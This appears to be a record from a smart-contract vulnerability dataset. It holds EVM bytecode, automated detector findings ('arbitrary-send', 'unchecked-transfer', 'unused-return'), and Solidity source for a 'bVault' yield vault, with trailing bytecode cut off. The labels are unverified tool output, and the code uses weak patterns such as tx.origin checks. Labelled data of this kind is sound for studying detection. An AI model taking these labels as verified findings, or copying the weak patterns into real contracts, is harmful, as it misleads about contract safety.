29083900301905081600087803b158015612b0e57600080fd5b505af1158015612b22573d6000803e3d6000fd5b505050506040513d6020811015612b3857600080fd5b50519550600160a060020a03871615801590612b5c5750600160a060020a03861615155b1515612bd8576040805160e560020a62461bcd02815260206004820152602360248201527f5265636569766572206f7220706c6174666f726d2077616c6c6574206e6f742060448201527f7365740000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600054604080517f63726f776473616c652e676f616c000000000000000000000000000000000000602080830191909152600160a060020a038e8116606060020a02602e84015283518084036022018152604290930193849052825194169363a855d4ce93918291908401908083835b60208310612c675780518252601f199092019160209182019101612c48565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015612cc857600080fd5b505af1158015612cdc573d6000803e3d6000fd5b505050506040513d6020811015612cf257600080fd5b505160005460408051600080516020613f738339815191526020828101919091528251808303600c018152602c909201928390528151949950612e0594600160a060020a039094169363a855d4ce93918291908401908083835b60208310612d6b5780518252601f199092019160209182019101612d4c565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015612dcc57600080fd5b505af1158015612de0573d6000803e3d6000fd5b505050506040513d6020811015612df657600080fd5b5051869063ffffffff613f1516565b600354604080517f25127520000000000000000000000000000000000000000000000000000000008152600160a060020a038a811660048301526024820185905291519397509116916325127520916044808201926020929091908290030181600087803b158015612e7657600080fd5b505af1158015612e8a573d6000803e3d6000fd5b505050506040513d6020811015612ea057600080fd5b50511515612ef8576040805160e560020a62461bcd02815260206004820152601760248201527f506c6174666f726d2066756e6473206e6f742070616964000000000000000000604482015290519081900360640190fd5b600354604080517f25127520000000000000000000000000000000000000000000000000000000008152600160a060020a038a81166004830152602482018990529151919092169163251275209160448083019260209291908290030181600087803b158015612f6757600080fd5b505af1158015612f7b573d6000803e3d6000fd5b505050506040513d6020811015612f9157600080fd5b50511515612fe9576040805160e560020a62461bcd02815260206004820152601c60248201527f4173736574206d616e616765722066756e6473206e6f74207061696400000000604482015290519081900360640190fd5b600054604080517f63726f776473616c652e73746172740000000000000000000000000000000000602080830191909152600160a060020a038e8116606060020a02602f84015283518084036023018152604390930193849052825194169363e2b202bf93918291908401908083835b602083106130785780518252601f199092019160209182019101613059565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a0282526004820152915160248084019550600094509092839003019050818387803b1580156130dd57600080fd5b505af11580156130f1573d6000803e3d6000fd5b505050506000809054906101000a9004600160a060020a0316600160a060020a03166304f49a3a8b6040516020018080600080516020613f53833981519152815250600d0182600160a060020a0316600160a060020a0316606060020a0281526014019150506040516020818303038152906040526040518082805190602001908083835b602083106131955780518252601f199092019160209182019101613176565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b1580156131f657600080fd5b505af115801561320a573d6000803e3d6000fd5b505050506040513d602081101561322057600080fd5b5051600054604080517f6d616e616765722e617373657473000000000000000000000000000000000000602080830191909152600160a060020a03808616606060020a02602e8401528351808403602201815260429093019384905282519598509093169363e2a4853a939192918291908401908083835b602083106132b75780518252601f199092019160209182019101613298565b51815160209384036101000a6000190180199092169116179052604080519290940182900382206000547f6d616e616765722e61737365747300000000000000000000000000000000000084840152600160a060020a038d8116606060020a02602e86015286518086036022018152604290950196879052845192985061340a97506001969116945063a855d4ce9392909182918401908083835b602083106133715780518252601f199092019160209182019101613352565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b1580156133d257600080fd5b505af11580156133e6573d6000803e3d6000fd5b505050506040513d60208110156133fc57600080fd5b50519063ffffffff613ea916565b6040518363ffffffff1660e060020a02815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b15801561345257600080fd5b505af1158015613466573d6000803e3d6000fd5b5050600154604080517f42b425aa000000000000000000000000000000000000000000000000000000008152600160a060020a038f811660248301528c81166044830152606482018b905260006084830181905260a06004840152600c60a48401527f4173736574207061796f7574000000000000000000000000000000000000000060c48401529251931694506342b425aa935060e4808201939182900301818387803b15801561351757600080fd5b505af115801561352b573d6000803e3d6000fd5b5060019d9c50505050505050505050505050565b60008054604080517f7061757365640000000000000000000000000000000000000000000000000000602080830191909152606060020a300260268301528251601a818403018152603a90920192839052815185948594600160a060020a0390911693633b7bfda093909282918401908083835b602083106135d25780518252601f1990920191602091820191016135b3565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561363357600080fd5b505af1158015613647573d6000803e3d6000fd5b505050506040513d602081101561365d57600080fd5b5051156136b4576040805160e560020a62461bcd02815260206004820152600f60248201527f436f6e7472616374207061757365640000000000000000000000000000000000604482015290519081900360640190fd5b6000805460408051600080516020613f53833981519152602080830191909152600160a060020a03898116606060020a02602d8401528351808403602101815260419093019384905282518a969591909116936304f49a3a9392909182918401908083835b602083106137385780518252601f199092019160209182019101613719565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561379957600080fd5b505af11580156137ad573d6000803e3d6000fd5b505050506040513d60208110156137c357600080fd5b5051600160a060020a03161415613824576040805160e560020a62461bcd02815260206004820152600d60248201527f496e76616c696420617373657400000000000000000000000000000000000000604482015290519081900360640190fd5b60005460408051600080516020613f93833981519152602080830191909152600160a060020a03898116606060020a0260328401528351808403602601815260469093019384905282518a95919091169363a855d4ce9392909182918401908083835b602083106138a65780518252601f199092019160209182019101613887565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561390757600080fd5b505af115801561391b573d6000803e3d6000fd5b505050506040513d602081101561393157600080fd5b50514211613989576040805160e560020a62461bcd02815260206004820152600f60248201527f4265666f726520646561646c696e650000000000000000000000000000000000604482015290519081900360640190fd5b60005460408051600080516020613f33833981519152602080830191909152600160a060020a038a8116606060020a0260338401528351808403602701815260479093019384905282518b959190911693633b7bfda09392909182918401908083835b60208310613a0b5780518252601f1990920191602091820191016139ec565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015613a6c57600080fd5b505af1158015613a80573d6000803e3d6000fd5b505050506040513d6020811015613a9657600080fd5b505115613aed576040805160e560020a62461bcd02815260206004820152601360248201527f43726f776473616c652066696e616c697a656400000000000000000000000000604482015290519081900360640190fd5b60005460408051600080516020613f93833981519152602080830191909152600160a060020a038b8116606060020a02603284015283518084036026018152604690930193849052825194169363a855d4ce93918291908401908083835b60208310613b6a5780518252601f199092019160209182019101613b4b565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015613bcb57600080fd5b505af1158015613bdf573d6000803e3d6000fd5b505050506040513d6020811015613bf557600080fd5b50511515613c0257600080fd5b60005460408051600080516020613f93833981519152602080830191909152600160a060020a038b8116606060020a02603284015283518084036026018152604690930193849052825194169363e2b202bf93918291908401908083835b60208310613c7f5780518252601f199092019160209182019101613c60565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a0282526004820152915160248084019550600094509092839003019050818387803b158015613ce457600080fd5b505af1158015613cf8573d6000803e3d6000fd5b50505050869450613dff606461146e613d896000809054906101000a9004600160a060020a0316600160a060020a031663a855d4ce6040516020018080600080516020613f73833981519152815250600c019050604051602081830303815290604052604051808280519060200190808383602083106113c25780518252601f1990920191602091820191016113a3565b88600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015613dc757600080fd5b505af1158015613ddb573d6000803e3d6000fd5b505050506040513d6020811015613df157600080fd5b50519063ffffffff613ec316565b600354604080517f785bc786000000000000000000000000000000000000000000000000000000008152600160a060020a038b8116600483015260248201859052915193975091169163785bc786916044808201926020929091908290030181600087803b158015613e7057600080fd5b505af1158015613e84573d6000803e3d6000fd5b505050506040513d6020811015613e9a57600080fd5b50600198975050505050505050565b600082820183811015613eb857fe5b8091505b5092915050565b600080831515613ed65760009150613ebc565b50828202828482811515613ee657fe5b0414613eb857fe5b60008183811515613efb57fe5b049392505050565b600082821115613f0f57fe5b50900390565b6000613f2b613f248484613ec3565b6064613eee565b9392505050560063726f776473616c652e66696e616c697a65640000000000000000000000000061737365742e6d616e6167657200000000000000000000000000000000000000706c6174666f726d2e666565000000000000000000000000000000000000000063726f776473616c652e646561646c696e650000000000000000000000000000a165627a7a72305820bc354c44992ef3b59cd880e5f7c8e01308b0d444c1a3ea519a3c78b7f866948e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,945 |
0xD5fD08D2F6Db64Ad88B6083Ba2F46FE8c5E6e053
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping(address=>uint256) private _mintLastBlockHeight;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(block.number>_mintLastBlockHeight[sender],"ERC20: sender account locked");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_mintLastBlockHeight[account] = block.number;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Controller {
function withdraw(address, uint) external;
function balanceOf(address) external view returns (uint);
function earn(address, uint) external;
}
contract bVault is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IERC20 public token;
uint public depositWithdrawInterval = 60;
uint public min = 9500;
uint public constant max = 10000;
mapping(address => bool) public approved;
mapping(address => uint256) userDepoistTime;
address public feeAddress;
uint public fee1 = 100; //fee within 24 hours
uint public fee2 = 3; //fee within 1 week
uint public fee3 = 1; //fee without 1 week
uint public feeMax = 1000;
uint256 public totalDepositCap = uint256(-1);
address public governance;
address public controller;
address public timelock;
modifier onlyRestrictContractCall() {
address s = msg.sender;
require(approved[msg.sender] || msg.sender == tx.origin, "Sorry we do not accept contract");
_;
}
constructor (address _token) public ERC20Detailed(
string(abi.encodePacked("bt:vault: ", ERC20Detailed(_token).name())),
string(abi.encodePacked("b", ERC20Detailed(_token).symbol())),
ERC20Detailed(_token).decimals()
) {
token = IERC20(_token);
governance = tx.origin;
controller = 0x5C6d3Cb5612b551452B3E9b48c920559634510D4;
feeAddress = tx.origin;
timelock = tx.origin;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this))
.add(Controller(controller).balanceOf(address(token)));
}
function setMin(uint _min) external {
require(msg.sender == governance, "!governance");
min = _min;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setController(address _controller) public {
require(msg.sender == timelock, "!timelock");
controller = _controller;
}
function setTotalDepositCap(uint256 _totalDepositCap) public {
require(msg.sender == governance, "!governance");
totalDepositCap = _totalDepositCap;
}
// Custom logic in here for how much the vault allows to be borrowed
// Sets minimum required on-hand to keep small withdrawals cheap
function available() public view returns (uint) {
return token.balanceOf(address(this)).mul(min).div(max);
}
function earn() public {
require( msg.sender == governance,"!governance");
uint _bal = available();
token.safeTransfer(controller, _bal);
Controller(controller).earn(address(token), _bal);
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint _amount) public onlyRestrictContractCall {
require(_amount > 0, "Cannot deposit 0");
uint _pool = balance();
uint _before = token.balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(this), _amount);
uint _after = token.balanceOf(address(this));
_amount = _after.sub(_before); // Additional check for deflationary tokens
require(_amount <= totalDepositCap, ">totalDepositCap");
uint shares = 0;
if (totalSupply() == 0) {
shares = _amount;
} else {
shares = (_amount.mul(totalSupply())).div(_pool);
}
_mint(msg.sender, shares);
userDepoistTime[msg.sender] = now;
}
function withdrawAll() external {
withdraw(balanceOf(msg.sender));
}
// No rebalance implementation for lower fees and faster swaps
function withdraw(uint _shares) public onlyRestrictContractCall {
require(_shares > 0, "Cannot withdraw 0");
require((now - userDepoistTime[msg.sender])>depositWithdrawInterval,"Deposit and withdraw must be 60 seconds apart!");
uint r = (balance().mul(_shares)).div(totalSupply());
_burn(msg.sender, _shares);
// Check balance
uint b = token.balanceOf(address(this));
if (b < r) {
uint _withdraw = r.sub(b);
Controller(controller).withdraw(address(token), _withdraw);
uint _after = token.balanceOf(address(this));
uint _diff = _after.sub(b);
if (_diff < _withdraw) {
r = b.add(_diff);
}
}
uint feeRatio = getFeeRatio();
if(feeRatio>0){
uint fee = r.mul(feeRatio).div(feeMax);
r = r.sub(fee);
token.safeTransfer(feeAddress,fee);
}
token.safeTransfer(msg.sender, r);
}
function getFeeRatio() internal view returns(uint)
{
uint256 t = now - userDepoistTime[msg.sender];
if(t > 604800) {//7*24*60*60
return fee3;
}
if(t>86400) {//24*60*60
return fee2;
}
return fee1;
}
function getPricePerFullShare() public view returns (uint) {
if (totalSupply()==0) {
return 0;
}
return balance().mul(1e18).div(totalSupply());
}
function setFeeRatio(uint[3] memory fees) public
{
require(msg.sender == timelock, "!timelock");
require(fees[0]<feeMax&&fees[1]<feeMax&&fees[2]<feeMax,"The fee is too high");
fee1 = fees[0];
fee2 = fees[1];
fee3 = fees[2];
}
function setFeeAddress(address fadd) public
{
require(msg.sender == timelock, "!timelock");
feeAddress = fadd;
}
function setTimeLock(address _timelock) public
{
require(msg.sender == timelock, "!timelock");
timelock = _timelock;
}
function approveContractAccess(address account) external {
require(msg.sender == governance, "!governance");
approved[account] = true;
}
function revokeContractAccess(address account) external {
require(msg.sender == governance, "!governance");
approved[account] = false;
}
}
|
0x608060405234801561001057600080fd5b506004361061025e5760003560e01c80638705fcd411610146578063d33219b4116100c3578063de5f626811610087578063de5f626814610b7c578063ebbf5c1714610b86578063f77c479114610bb4578063f889794514610bfe578063fc0c546a14610c1c578063ffbe9f1e14610c665761025e565b8063d33219b414610a36578063d389800f14610a80578063d8b964e614610a8a578063dd62ed3e14610ae6578063dd8d832614610b5e5761025e565b8063a9059cbb1161010a578063a9059cbb14610922578063ab033ea914610988578063b69ef8a8146109cc578063b6b55f25146109ea578063c609825614610a185761025e565b80638705fcd41461076d578063891682d2146107b157806392eefe9b146107f557806395d89b4114610839578063a457c2d7146108bc5761025e565b80634639e19a116101df5780636c361865116101a35780636c3618651461064757806370a082311461068b57806377c7b8fc146106e35780637c61e86514610701578063853828b61461074557806385d30fc81461074f5761025e565b80634639e19a1461053e57806348a0d754146105a35780635aa6e675146105c15780635db88e851461060b5780636ac5db19146106295761025e565b8063313ce56711610226578063313ce5671461041e578063395093511461044257806339f73a48146104a857806341275358146104c657806345dc3dd8146105105761025e565b806306fdde0314610263578063095ea7b3146102e657806318160ddd1461034c57806323b872dd1461036a5780632e1a7d4d146103f0575b600080fd5b61026b610c84565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ab578082015181840152602081019050610290565b50505050905090810190601f1680156102d85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610332600480360360408110156102fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d26565b604051808215151515815260200191505060405180910390f35b610354610d44565b6040518082815260200191505060405180910390f35b6103d66004803603606081101561038057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d4e565b604051808215151515815260200191505060405180910390f35b61041c6004803603602081101561040657600080fd5b8101908080359060200190929190505050610e27565b005b610426611484565b604051808260ff1660ff16815260200191505060405180910390f35b61048e6004803603604081101561045857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061149b565b604051808215151515815260200191505060405180910390f35b6104b061154e565b6040518082815260200191505060405180910390f35b6104ce611554565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61053c6004803603602081101561052657600080fd5b810190808035906020019092919050505061157a565b005b6105a16004803603606081101561055457600080fd5b8101908080606001906003806020026040519081016040528092919082600360200280828437600081840152601f19601f8201169050808301925050505050509192919290505050611647565b005b6105ab611819565b6040518082815260200191505060405180910390f35b6105c9611922565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610613611948565b6040518082815260200191505060405180910390f35b61063161194e565b6040518082815260200191505060405180910390f35b6106896004803603602081101561065d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611954565b005b6106cd600480360360208110156106a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a72565b6040518082815260200191505060405180910390f35b6106eb611aba565b6040518082815260200191505060405180910390f35b6107436004803603602081101561071757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b15565b005b61074d611c33565b005b610757611c46565b6040518082815260200191505060405180910390f35b6107af6004803603602081101561078357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c4c565b005b6107f3600480360360208110156107c757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d53565b005b6108376004803603602081101561080b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e5a565b005b610841611f61565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610881578082015181840152602081019050610866565b50505050905090810190601f1680156108ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610908600480360360408110156108d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612003565b604051808215151515815260200191505060405180910390f35b61096e6004803603604081101561093857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506120d0565b604051808215151515815260200191505060405180910390f35b6109ca6004803603602081101561099e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120ee565b005b6109d46121f5565b6040518082815260200191505060405180910390f35b610a1660048036036020811015610a0057600080fd5b81019080803590602001909291905050506123e3565b005b610a20612899565b6040518082815260200191505060405180910390f35b610a3e61289f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610a886128c5565b005b610acc60048036036020811015610aa057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ae9565b604051808215151515815260200191505060405180910390f35b610b4860048036036040811015610afc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b09565b6040518082815260200191505060405180910390f35b610b66612b90565b6040518082815260200191505060405180910390f35b610b84612b96565b005b610bb260048036036020811015610b9c57600080fd5b8101908080359060200190929190505050612c7a565b005b610bbc612d47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610c06612d6d565b6040518082815260200191505060405180910390f35b610c24612d73565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610c6e612d99565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d1c5780601f10610cf157610100808354040283529160200191610d1c565b820191906000526020600020905b815481529060010190602001808311610cff57829003601f168201915b5050505050905090565b6000610d3a610d33612d9f565b8484612da7565b6001905092915050565b6000600354905090565b6000610d5b848484612f9e565b610e1c84610d67612d9f565b610e1785604051806060016040528060288152602001613f8060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610dcd612d9f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133089092919063ffffffff16565b612da7565b600190509392505050565b6000339050600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610eaf57503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610f21576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f536f72727920776520646f206e6f742061636365707420636f6e74726163740081525060200191505060405180910390fd5b60008211610f97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f74207769746864726177203000000000000000000000000000000081525060200191505060405180910390fd5b600754600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054420311611032576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180614012602e913960400191505060405180910390fd5b600061106761103f610d44565b6110598561104b6121f5565b6133c890919063ffffffff16565b61344e90919063ffffffff16565b90506110733384613498565b6000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561111457600080fd5b505afa158015611128573d6000803e3d6000fd5b505050506040513d602081101561113e57600080fd5b810190808051906020019092919050505090508181101561136a57600061116e828461365090919063ffffffff16565b9050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f3fef3a3600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561123b57600080fd5b505af115801561124f573d6000803e3d6000fd5b505050506000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156112f457600080fd5b505afa158015611308573d6000803e3d6000fd5b505050506040513d602081101561131e57600080fd5b810190808051906020019092919050505090506000611346848361365090919063ffffffff16565b90508281101561136657611363818561369a90919063ffffffff16565b94505b5050505b6000611374613722565b905060008111156114305760006113a8600f5461139a84876133c890919063ffffffff16565b61344e90919063ffffffff16565b90506113bd818561365090919063ffffffff16565b935061142e600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661379f9092919063ffffffff16565b505b61147d3384600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffff